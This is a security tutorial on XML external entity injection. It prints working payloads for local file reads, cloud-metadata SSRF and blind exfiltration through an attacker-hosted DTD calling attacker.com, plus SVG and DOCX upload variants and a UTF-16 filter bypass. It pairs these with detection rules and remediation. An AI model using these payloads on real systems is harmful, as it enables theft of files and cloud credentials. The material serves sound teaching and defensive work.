Skip to Content
XML external entity injection attack diagram

XML External Entity (XXE) Injection

Exploiting XML external entities for file reads, SSRF and blind out-of-band exfiltration, including XXE through SVG and Office uploads.

Aug 4, 2026
Updated Nov 22, 2026
12 min read

Introduction

XML external entity (XXE) injection abuses ENTITY declarations that point at external resources: file paths, HTTP URLs, FTP URIs. If the parser resolves them, you can read files from the server, make it send requests to internal services, and with some parsers and settings get code execution. Entity expansion without limits also allows denial of service (Billion Laughs).

This is a feature of XML 1.0, not a bug in one parser. Many frameworks and libraries shipped with external entities enabled, and applications inherited that default. Anything that parses XML is a candidate: Office documents (DOCX, XLSX, ODT), SVG, SAML assertions, RSS and Atom feeds, custom XML APIs. Typical findings are reads of /etc/passwd and config files with database credentials, AWS instance metadata from http://169.254.169.254/, and internal service discovery.

In the cloud, the SSRF side is often the bigger problem. One http:// entity pointed at 169.254.169.254/latest/meta-data/iam/security-credentials/ can return temporary AWS credentials for the instance role. The URI scheme is the only difference: file:// reads from disk, http:// makes an outbound connection.

Authorization required

Test only systems you own or have written permission to test. Out-of-band XXE payloads make the target connect to your server, so use infrastructure you control and list it in the engagement documents.

Impact

  • Local file read: /etc/passwd, /proc/self/environ, application config files, private keys
  • AWS/GCP/Azure instance metadata exfiltration yielding IAM credentials
  • Internal network port scanning via http:// entity requests (response timing reveals open ports)
  • SSRF to services that trust requests from localhost (Redis, Memcached, internal APIs)
  • Credential theft from config files (database.yml, wp-config.php, .env, web.config)
  • DoS via recursive entity expansion (Billion Laughs / XML bomb)
  • Pivot to RCE when combined with PHP expect:// wrappers or readable SSH authorized_keys

Technical details

XML parsers that support external entities must fetch and inline the content of any SYSTEM or PUBLIC entity before returning the parsed document. The attack injects a DOCTYPE declaration containing an external entity definition, then references that entity inside the document body where the application will reflect or process the content.

Two entity types matter for exploitation:

General entities (&xxe;) are expanded inline in element content. That is the classic XXE where the content comes back in the response. Parameter entities (%xxe;) are only valid inside DTD declarations, but they can be used to load external DTD files containing entity chains that trigger OOB data exfiltration. Blind XXE, where the application never returns the parsed content, depends on them.

Classic XXE: direct file read

Inject a DOCTYPE that declares an external entity pointing to a local file, then reference it in the XML body. The application must reflect the parsed element value somewhere in the response.

Classic file read payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Response excerpt (partial):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

On Windows, use file:///C:/Windows/System32/drivers/etc/hosts or file:///C:/inetpub/wwwroot/web.config.

XXE to SSRF: internal service probing

Replace the file:// URI with http:// to make the parser issue an outbound HTTP request. Use this to reach cloud metadata endpoints or probe internal services.

Cloud metadata via XXE SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <productId>&ssrf;</productId>
  <storeId>1</storeId>
</stockCheck>

For GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (needs the Metadata-Flavor: Google header, which an XML entity fetch normally cannot send).

For internal port scanning, iterate over ports and measure response time/error differences:

Internal port probe
<!ENTITY portscan SYSTEM "http://192.168.1.1:6379/">

A Redis instance on 6379 will return its banner; a closed port will error immediately.

Blind XXE: out-of-band via parameter entities

When the application parses XML but never reflects entity values in the response, use parameter entities to load an attacker-controlled external DTD that chains entity declarations to exfiltrate data via HTTP.

Host the following DTD on your server (https://attacker.com/evil.dtd):

attacker.com/evil.dtd: external DTD for OOB exfiltration
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.com/collect?d=%file;'>">
%wrap;
%exfil;

Send this payload to the target:

Blind XXE payload triggering external DTD load
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "https://attacker.com/evil.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

Your HTTP server receives a request like:

GET /collect?d=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
Host: attacker.com

Where the parser allows it, multi-line files arrive URL-encoded in the query string. Some parsers reject URLs that contain newlines; for those, an FTP-based DTD or a PHP base64 filter works better. Catch the callback with netcat, a simple web server or Burp Collaborator.

Error-based blind XXE

When the application throws XML parse errors that leak content, you can trigger a deliberately malformed entity reference that embeds the file content in the error message without needing an outbound HTTP callback.

attacker.com/error.dtd: error-based exfiltration
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%exfil;

The parser attempts to open file:///nonexistent/root:x:0:0:... and emits an error containing the file content in the path.

XXE via SVG file upload

Applications that process uploaded SVG images (avatar uploads, report exports, image converters) often parse them with a full XML parser. Inject external entity references directly into the SVG.

Malicious SVG for file read
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ELEMENT svg ANY>
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="30">&xxe;</text>
</svg>

Upload as avatar.svg. If the application renders the SVG server-side (Inkscape, ImageMagick with SVG delegate, LibreOffice) or returns it inline, the entity is resolved. Rasterizers like Batik and svg2png are also vulnerable when external entity processing is enabled.

XXE in DOCX / XLSX (Office Open XML)

DOCX and XLSX files are ZIP archives containing XML. word/document.xml in a DOCX and xl/worksheets/sheet1.xml in XLSX are parsed when the application processes uploaded documents (document converters, mail merge, report engines).

Extract and modify the document XML:

Inject XXE into DOCX
unzip target.docx -d docx_extracted/
# Edit word/document.xml to inject DOCTYPE:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Reference &xxe; inside a <w:t> element
zip -r malicious.docx docx_extracted/
word/document.xml: modified with XXE
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
  </w:body>
</w:document>

LibreOffice, Apache POI (without explicit FEATURE_SECURE_PROCESSING), and python-docx before 0.8.6 (CVE-2016-5851) are historically vulnerable to this.

Encoding bypass: UTF-16

Some WAFs and input filters inspect XML for DOCTYPE patterns using byte-string matching on UTF-8 input. A UTF-16 payload with a BOM gets past them because the raw bytes look nothing like the UTF-8 pattern.

Generate UTF-16 encoded XXE payload
payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>'''

with open("xxe_utf16.xml", "wb") as f:
    f.write(payload.encode("utf-16"))

Send with Content-Type: application/xml; charset=UTF-16. Parsers that support encoding negotiation will decode the BOM and process the DOCTYPE normally.

Attack tools

Burp Scanner finds classic and blind XXE. For manual work, use Repeater and Intruder.

# Burp Scanner: active scan on XML endpoints
# Right-click request > Scan > Active Scan
# Findings appear under Target > Issue Activity

# For manual testing in Repeater:
# 1. Intercept XML request
# 2. Modify Content-Type to application/xml if needed
# 3. Inject DOCTYPE before root element
# 4. Use Burp Collaborator for blind OOB:
#    <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">

Burp Collaborator provides a DNS/HTTP/SMTP listener. When the parser resolves the entity, the callback appears in "Poll now" results under the Collaborator client tab. This confirms blind XXE before attempting file exfiltration.

Burp Collaborator blind XXE test
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abcd1234.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>

Detection

XXE attacks generate several detectable patterns across web server logs, application logs, and network telemetry.

WAF and IDS signatures

PatternDetection Rule
DOCTYPE in POST bodyAlert on <!DOCTYPE in XML content-type requests
SYSTEM keywordAlert on SYSTEM\s+"(file|http|ftp):// in request bodies
Entity expansion depthAlert on nested entity references exceeding depth 3
OOB callbackDNS/HTTP request from app server to external host triggered by XML parse

Application logs

File-not-found errors that contain file contents or odd paths point to error-based blind XXE:

WARN  xml.parser - Failed to open: file:///etc/shadow (Permission denied)
ERROR xml.parser - External entity resolution failed: http://169.254.169.254/

Network monitoring

# Zeek/Bro signature for metadata endpoint access
event http_request(c: connection, method: string, original_URI: string, ...) {
  if ( /169\.254\.169\.254/ in original_URI )
    NOTICE([$note=Notice::Weird, $msg="IMDSv1 access attempt"]);
}

Splunk query

Detect DOCTYPE in XML POST requests
index=web_logs method=POST
| rex field=request_body "(?i)<!DOCTYPE\s+\w+\s*\["
| stats count by src_ip, uri_path, user_agent
| where count > 5
| sort -count

AWS CloudTrail

CloudTrail event pattern for SSRF-sourced credential access
{
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "sourceIPAddress": "169.254.169.254"
}

CloudTrail does not log requests to the metadata service. It does log what happens next: calls made with the instance role show up as userIdentity.type: AssumedRole with the instance ID as the session name. Calls from a source IP that is not the instance, or API calls the workload never makes, are the signal.

Remediation

Disable external entity processing

Language / LibrarySecure Configuration
Java XMLInputFactoryfactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false)
Java DocumentBuilderFactorydbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
PHP libxmllibxml_disable_entity_loader(true) (PHP < 8.0); PHP 8.0+ disables by default
Python lxmletree.XMLParser(resolve_entities=False, no_network=True)
Python xml.etree.ElementTreeDoes not resolve external entities; use defusedxml to also block entity expansion attacks on older expat versions
Ruby NokogiriNokogiri::XML::ParseOptions::NONET flag
.NET XmlReaderXmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }
libxml2 (C)Do not pass XML_PARSE_NOENT; pass XML_PARSE_NONET (for example xmlCtxtReadMemory(..., XML_PARSE_NONET))
Secure Java DocumentBuilderFactory configuration
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Secure lxml parser configuration
from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False,
    forbid_dtd=True,
)
tree = etree.fromstring(xml_data, parser=parser)

Architectural mitigations

  • Move XML APIs to JSON where possible, which removes the problem
  • Check Content-Type before parsing and reject application/xml on endpoints that expect application/json
  • For file upload processing (DOCX, SVG), run parsers in a sandboxed subprocess or container with no network access and read-only filesystem mounts
  • Block outbound HTTP/DNS from application servers at the network perimeter to prevent OOB exfiltration callbacks
  • Require IMDSv2 on AWS EC2 instances (HttpTokens: required). IMDSv2 needs a PUT request for a session token before any GET to the metadata endpoint works, and an XML entity fetch cannot send one
  • Apply egress network policies in Kubernetes to prevent application pods from reaching 169.254.169.254

References

MITRE ATT&CK techniques

Tools documentation

Next steps

On this page